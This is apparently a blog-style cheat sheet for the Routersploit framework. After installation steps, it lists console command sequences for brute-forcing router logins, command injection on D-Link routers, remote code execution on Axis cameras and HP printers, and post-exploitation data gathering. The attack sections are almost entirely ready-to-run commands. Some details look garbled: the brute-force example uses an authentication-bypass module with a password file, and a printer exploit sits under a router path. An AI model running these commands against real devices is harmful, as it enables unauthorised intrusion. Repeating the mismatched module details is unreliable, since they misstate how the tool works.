What is Routersploit?

Routersploit is an open-source framework, designed specifically for attacking and exploiting network devices and IoT systems. It is similar to Metasploit in terms of functionality, but it’s tailored to devices like routers, IP cameras, and other network-connected devices. Routersploit automates vulnerability exploitation, offering a wide range of modules to assist in penetration testing and network assessments.

Features of Routersploit:

• Comprehensive Vulnerability Support: It targets a variety of routers and IoT devices.
• Exploitation Modules: Includes modules for command injection, brute force attacks, and more.
• Simple Command-Line Interface: Accessible to both beginners and professionals.
• Brute Force Modules: For cracking weak passwords on routers and IoT devices.

Setting Up Routersploit

Before diving into attacks, ensure Routersploit is installed. Follow these steps for installation:

Step 1: Prerequisites

Ensure Python (2.7 or higher) and Git are installed. Then clone the Routersploit repository.

git clone https://github.com/threat9/routersploit
cd routersploit

Step 2: Install Dependencies

Install the required dependencies using pip:

pip install -r requirements.txt

Step 3: Run Routersploit

Launch the Routersploit console with the following command:

python rsf.py

This will start the Routersploit interface, where you can begin exploiting devices.

Routersploit Cheat Sheet for Hacking Routers & IoT Devices

1. Brute Force Attacks on Routers

One of the simplest attacks is brute forcing weak passwords on IoT devices. Routersploit has several modules for brute force attacks.

Example: Brute Force Attack on TP-Link Router

use exploits/routers/tp-link/tplink_authentication_bypass
set target 192.168.1.1
set username admin
set password_file /path/to/passwords.txt
run

• Explanation:
• use exploits/routers/tp-link/tplink_authentication_bypass: Targets TP-Link routers with authentication bypass vulnerabilities.
• set target: Set the target router’s IP address.
• set username admin: Specify the username.
• set password_file: Provide a file with common passwords.
• run: Executes the attack, trying each password until successful.

2. Command Injection on Routers

Command injection is a vulnerability where attackers can run arbitrary commands on the router.

Example: Command Injection on a D-Link Router

use exploits/routers/dlink/command_injection
set target 192.168.1.1
set port 80
run

• Explanation:
• use exploits/routers/dlink/command_injection: Uses a command injection exploit for D-Link routers.
• set target: Set the target IP address of the router.
• set port 80: Specify the port (usually HTTP port 80).
• run: Launches the attack, allowing execution of arbitrary commands on the router.

3. Exploiting Vulnerabilities in IoT Devices (IP Cameras)

IoT devices like IP cameras are frequent targets. Routersploit helps exploit vulnerabilities in these devices.

Example: Exploiting an Unauthenticated RCE Vulnerability in Axis Cameras

use exploits/iot/cameras/axis/unauthenticated_rce
set target 192.168.1.100
run

• Explanation:
• use exploits/iot/cameras/axis/unauthenticated_rce: Exploit for unauthenticated remote code execution on Axis IP cameras.
• set target: Set the camera’s IP address.
• run: Execute the exploit, allowing remote code execution on the camera.

4. Exploiting Vulnerabilities in Network Printers

Routersploit also allows you to exploit vulnerabilities in network printers.

Example: Exploiting HP Printer Vulnerability

use exploits/routers/printers/hp_remote_code_execution
set target 192.168.1.50
run

• Explanation:
• use exploits/routers/printers/hp_remote_code_execution: Targets an RCE vulnerability in HP printers.
• set target: Set the printer’s IP address.
• run: Executes the attack, exploiting the vulnerability to run remote code.

5. Post-Exploitation and Privilege Escalation

Once access is obtained, you can use post-exploitation modules to escalate privileges and gather additional information.

Example: Collecting Router Information Post-Exploitation

use post/routers/gather/router_info
set target 192.168.1.1
run

• Explanation:
• use post/routers/gather/router_info: Gathers information about the compromised router.
• set target: Set the IP address of the compromised router.
• run: Executes the post-exploitation module, gathering information about the router’s configuration and connected devices.

6. Listing Available Modules

To view all available exploits within Routersploit, use the show exploits command. This will list the targets that can be exploited.

show exploits

• Explanation: This command displays a list of all available exploits in Routersploit, categorized by device type (routers, cameras, printers, etc.).

Routersploit is a powerful framework for penetration testers and ethical hackers, enabling them to exploit vulnerabilities in routers and IoT devices. By following this cheat sheet, you can quickly get started with common exploits, including brute force attacks, command injection, and RCE vulnerabilities in IoT devices like IP cameras and printers. Always remember to use these tools responsibly and only on devices you have permission to test.